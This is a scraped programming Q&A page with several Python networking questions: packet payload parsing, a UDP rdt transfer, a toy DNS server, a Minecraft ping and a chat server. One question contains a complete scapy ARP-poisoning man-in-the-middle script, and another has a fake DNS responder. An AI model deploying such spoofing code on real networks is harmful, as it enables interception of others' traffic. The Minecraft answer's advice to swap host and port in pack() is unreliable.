I am getting the payload of tcp packet using scapy easily :
def handle_pkt(pkt):
try :
pay_load_tcp = pkt[IP].load
except :
pay_load_tcp = ""
for packet in PcapReader(filename):
if TCP in packet and packet[IP].dst == '192.168.1.1':
handle_pkt(packet)
How can I get the same payload(Just the text info on the packet) using dpkt library?
Maybe not the perfect way, but we can get the payload using the dpkt library as follows:
f = open(pcap_file,'rb')
pcap = dpkt.pcap.Reader(f)
for _, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf)
if not isinstance(eth.data,dpkt.ip.IP):
#print("NOT IP Packet")
continue
ip = eth.data
if isinstance(ip.data, dpkt.tcp.TCP):
if inet_to_str(ip.src)!='192.168.1.2' :
continue
tcp = ip.data
counter = counter + 1
#seq_num = tcp.seq
payload = bytes(ip.data)
print("counter = {} , Payload = {} ".format(counter,payload[32:]))
#if seq_num > cur_seq and
if payload[32:] != b'':
#cur_seq = seq_num
handle_pkt(payload[32:])
Related
I got a working arp poisoning in python using scapy, it changes the arp cache on the target machine.
I want to be able to forward the packets that I'm receiving because I became a MITM.
For some reason, scapy doesn't send the packets I'm wanting to send to the right machine and the target machine just loses connectivity to the internet.
import scapy.all as scapy
import threading
import time
def find_mac(ip):
mac = None
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=5, verbose=False)[0]
response = str(answered_list).split("Other:")[1].replace(">", "")
if response != '0':
mac = answered_list[0][1].hwsrc
return mac
my_ip = ""
target_ip = ""
router_ip = ""
my_mac = find_mac(my_ip)
target_mac = find_mac(target_ip)
router_mac = find_mac(router_ip)
def check_packet(packet):
try:
src_ip = packet[0][scapy.IP].src
dst_ip = packet[0][scapy.IP].dst
except:
src_ip = None
dst_ip = None
if (src_ip == target_ip or dst_ip == target_ip) and packet[0][scapy.Ether].dst == my_mac:
print("dst " + packet[0][scapy.Ether].dst)
print("src " + packet[0][scapy.Ether].src)
threading.Thread(target=redirecect, args=(packet,)).start()
def spoof(victim_packet, router_packet):
while True:
scapy.sendp(victim_packet, verbose=False)
scapy.sendp(router_packet, verbose=False)
time.sleep(3)
def redirecect(packet):
src_ip = packet[0][scapy.IP].src
if src_ip == target_ip:
packet[0][scapy.Ether].dst = router_mac
else:
packet[0][scapy.Ether].dst = target_mac
packet.show()
scapy.sr(packet, verbose=False) # ,verbose=False
print("my " + my_mac)
print("target " + target_mac)
print("router " + router_mac)
victim_ether = scapy.Ether(src=router_mac, dst=target_mac)
victim_arp = scapy.ARP(op=2, psrc=router_ip, pdst=target_ip,
hwdst=target_mac)
router_ether = scapy.Ether(src=target_mac, dst=router_mac)
router_arp = scapy.ARP(op=2, psrc=target_ip, pdst=router_ip,
hwdst=router_mac)
victim_packet = victim_ether / victim_arp
router_packet = router_ether / router_arp
threading.Thread(target=spoof, args=(victim_packet, router_packet)).start()
while True:
packet = scapy.sniff(count=1)
threading.Thread(target=check_packet, args=(packet,)).start()
It writes "WARNING: Mac address to reach destination not found. Using broadcast." most of the time and it seems like my computer arp cache is being spoofed as well.
What do I need to do so my code would send the packets correctly?
I am creating a very simple rdt 2.2 socket program that transfers an image file dictated as "Cat.bmp" from client to server. Once the client reads the first line of data from the bmp file, it sends it to the server, and then the server will continue to repeat reading this same line in an infinite loop. I have no idea why this won't allow the client to send new data. Any suggestions on how to fix this would be very appreciated.
Client.py
import binascii
import struct
import sys
import hashlib
import base64
import time
from asyncio.tasks import sleep
def rdtSend(currentSequence , currentAck , data):
values = (currentACK, currentSequence, data)
UDPData = struct.Struct('I I 8s')
packedData = UDPData.pack(*values)
checksumVal = hashlib.md5(packedData).hexdigest().encode('utf-8')
sendPacket = makepacket(currentACK, currentSequence, data, checksumVal)
UDPSend(sendPacket)
def makepacket(currentACK, currentSequence, data, checksumVal):
values = (currentACK, currentSequence, data, checksumVal)
packetData = struct.Struct('I I 8s 32s')
packet = packetData.pack(*values)
return packet
def UDPSend(sendPacket):
senderSocket.sendto(sendPacket, (IP, Port))
def dataError(receivePacket):
checksum = makeChecksum(receivePacket[0], receivePacket[1], receivePacket[2])
# Compare calculated chechsum with checksum value in packet
if receivePacket[3] == checksum:
print('CheckSums is OK')
return False
else:
print('CheckSums Do Not Match')
return True
def makeChecksum(ACK, SEQ, DATA):
values = (ACK, SEQ, DATA)
packer = struct.Struct('I I 8s')
packedData = packer.pack(*values)
checksum = hashlib.md5(packedData).hexdigest().encode('utf-8')
return checksum
def isACK(receivePacket, ACKVal):
if (receivePacket[0] == ACKVal):
return True
else:
return False
IP = "127.0.0.1"
#Local Port for client and server
Port = 20001
#buffer to receive information from client
bufferSize = 1024
unpacker = struct.Struct('I I 8s 32s')
senderSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
senderSocket.connect((IP , Port))
print("UDP IP:", IP)
print("UDP port:", Port)
filename = 'Cat.bmp'
file = open(filename , 'rb')
# current data item being processed
data = file.read(bufferSize)
currentSequence = 0
currentACK = 0
while (data):
rdtSend(currentSequence, currentACK , data)
packet, addr = senderSocket.recvfrom(bufferSize)
print(packet)
print("Received from: ", addr)
receivePacket = unpacker.unpack(packet)
if(dataError(receivePacket) == False and isACK(receivePacket , currentACK) == True):
currentACK = currentACK + 1
currentSequence = (currentSequence + 1) % 2
data = file.read(bufferSize)
print("sending more data")
else:
print("Resending packet")
file.close()
senderSocket.close
Server.py
import socket
import binascii
import struct
import sys
import hashlib
import base64
import time
from asyncio.tasks import sleep
def rdtSend(currentSequence , currentAck , data):
values = (currentACK, currentSequence, data)
UDPData = struct.Struct('I I 8s')
packedData = UDPData.pack(*values)
checksumVal = hashlib.md5(packedData).hexdigest().encode('utf-8')
#This is where it gets the UDP packet
sendPacket = makepacket(currentACK, currentSequence, data, checksumVal)
UDPSend(sendPacket)
def makepacket(currentACK, currentSequence, data, checksumVal):
values = (currentACK, currentSequence, data, checksumVal)
packetData = struct.Struct('I I 8s 32s')
packet = packetData.pack(*values)
return packet
def UDPSend(sendPacket):
receiverSocket.sendto(sendPacket, (IP, Port))
def makeChecksum(ACK, SEQ, DATA):
values = (ACK, SEQ, DATA)
packer = struct.Struct('I I 8s')
packedData = packer.pack(*values)
checksum = hashlib.md5(packedData).hexdigest().encode('utf-8')
return checksum
#Function that checks the packet for corruption
def dataError(receivePacket):
# Calculate new checksum of the [ ACK, SEQ, DATA ]
checksum = makeChecksum(receivePacket[0], receivePacket[1], receivePacket[2])
# Compare calculated chechsum with checksum value in packet
if receivePacket[3] == checksum:
print('CheckSums is OK')
return False
else:
print('CheckSums Do Not Match')
return True
#IP Address for local communications
IP = "127.0.0.1"
#Local Port for client and server
Port = 20001
#buffer to receive information from client
bufferSize = 1024
# Integer, Integer, 8 letter char array, 32 letter char array
unpacker = struct.Struct('I I 8s 32s')
# Create the actual UDP socket for the server
receiverSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Bind the socket to the local IP address and port
receiverSocket.bind((IP, Port))
currentACK = 0
currentSequence = 0
dataFile = open('receive.bmp' , 'wb')
print("Listening")
packet, addr = receiverSocket.recvfrom(bufferSize)
receivedPacket = unpacker.unpack(packet)
#Where the previous functions are used to send the packets back to the client
while receivedPacket[2]:
print("Received from:", addr)
print("Data Received:" , receivedPacket[2])
#This compares checksums to see if there are errors
if not dataError(receivedPacket):
dataFile.write(receivedPacket[2])
# Built checksum [ACK, SEQ, DATA]
ACK = receivedPacket[0]
SEQ = receivedPacket[1]
DATA = b''
print('Packeting')
rdtSend(currentSequence , currentACK , DATA)
print('Sent')
currentACK = currentACK + 1
currentSequence = (currentSequence + 1) % 2
packet, addr = receiverSocket.recvfrom(bufferSize)
receivedPacket = unpacker.unpack(packet)
else:
print('Packet error')
checksumVal = makeChecksum(packet[0] + 1, (packet[1] + 1) % 2, b'')
packet = makepacket(packet[0] + 1, (packet[1] + 1) % 2, b'', checksumVal)
print('Packeting')
receiverSocket.sendto(packet, addr)
print('Sent')
packet, addr = receiverSocket.recvfrom(bufferSize)
receivedPacket = unpacker.unpack(packet)
dataFile.close()
receiverSocket.close```
I'm trying to write my own dns server with python code. So, I send dns request from my computer to my gateway (which i get from ipconfig-> default gateway). The request reaches to my server and when I'm trying to response, it seems like the dns response not reaching the client destination (at this case my computer).
On the client i get "Standard query response Server failure" instead of regular dns response.
What am I doing wrong? How can I fix it?
Client wireshark:
Server wireshark:
Client code:
def ConvertToDnsNameFormat(name) :
result = ""
lock = 0
name += "."
length = len(name)
for i in range(0, length) :
if name[i] == "." :
result += chr(i-lock)
while lock < i :
result += name[lock]
lock = lock + 1
lock = lock + 1
result += (chr(0))
return result
hostname= "random1231.ns.cs.colman.ac.il"
hostname = ConvertToDnsNameFormat(hostname)
format = '!HHHHHH' + str(len(hostname)) + 'sHH' # the DNS query format
dnsMessage = pack(format, 1234, 256, 1, 0, 0, 0, hostname, 1, 1) # create the massage
#my gateway
HOST_IP = "192.168.1.1"
PORT = 53
AF = socket.AF_INET
TYPE = socket.SOCK_DGRAM
PROTO = socket.IPPROTO_UDP
mySocket = socket.socket(AF, TYPE, PROTO)
mySocket.sendto(dnsMessage, (HOST_IP, PORT))
(resp, address) = mySocket.recvfrom(1024)
Server code:
I took this code from here
import socket
class DNSQuery:
def __init__(self, data):
self.data=data
self.dominio=''
tipo = (ord(data[2]) >> 3) & 15 # Opcode bits
if tipo == 0: # Standard query
ini=12
lon=ord(data[ini])
while lon != 0:
self.dominio+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])
def respuesta(self, ip):
packet=''
if self.dominio:
packet+=self.data[:2] + "\x81\x80"
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts
packet+=self.data[12:] # Original Domain Name Question
packet+='\xc0\x0c' # Pointer to domain name
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP
return packet
if __name__ == '__main__':
ip='192.168.1.1'
print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('10.10.250.40',53))
try:
while 1:
data, addr = udps.recvfrom(1024)
p=DNSQuery(data)
udps.sendto(p.respuesta(ip), addr)
print 'Respuesta: %s -> %s' % (p.dominio, ip)
except KeyboardInterrupt:
print 'Finalizando'
udps.close()
That's probably because the server is failing. Try to do a ping to random1231.ns.cs.colman.ac.il, you'll see that with that domain, the response is server failure:
So, the miniDNS program is not capturing the DNS requests. Did you try installing it on your localhost address? (127.0.0.1, say port 4567) and configure your DNS service to that address.
What's wrong? I recieve nothing. I have also tried with other Minecraft-servers.
import socket
from struct import pack, unpack
host = socket.gethostbyname("localhost")
port = 25565
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
packet = ""
packet += pack('i',4)
packet += pack('p',host)
packet += pack('H',port)
packet += pack('i',1)
s.send(packet)
print s.recv(1024) # Recv nothing ?
I guess this is wrong :
packet += pack('p',host)
packet += pack('H',port)
Replace with this :
packet += pack('p',port)
packet += pack('H',host)
i am having trouble trying to send data to all clients connected on my python tcp chat server. i know how to get the message/data to send right back to the person who sent it but it just won't send back if i have multiple clients. this is my server so far:
host = '127.0.0.1'
port = 4446
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind( (host, port) )
s.listen(backlog)
clients = [s]
while 1:
inputReady, outputReady, exceptReady = select.select(clients, [], [])
for x in inputReady:
if x == s:
csock, addr = s.accept()
clients.append(csock)
else:
data = x.recv(size)
if data:
for i in clients: #problem i believe is in here but i
i.send(data) #dont know how to fix it
else:
x.close()
clients.remove(x)
s.close()
i am using node.js for the client side and its very simple so far and i dont think its the problem:
var net = require('net');
var readline = require('readline');
var host = process.argv[2];
var port = process.argv[3];
var username = process.argv[4];
var client = new net.Socket();
client.connect(port, host, function(){
var type = "connect";
var sender = username;
var msg = "has connected";
var s = type + ':' + sender + ':' + msg;
var length = s.length;
client.write(length + " " + s);
});
client.on('data', function(data){
console.log(data.toString('UTF-8'));
});
The problem is that you are sending on all sockets, including the server socket (s). Ignoring other potential problems, you can do a quick fix by doing this:
for i in clients:
if i is not s:
i.send(data)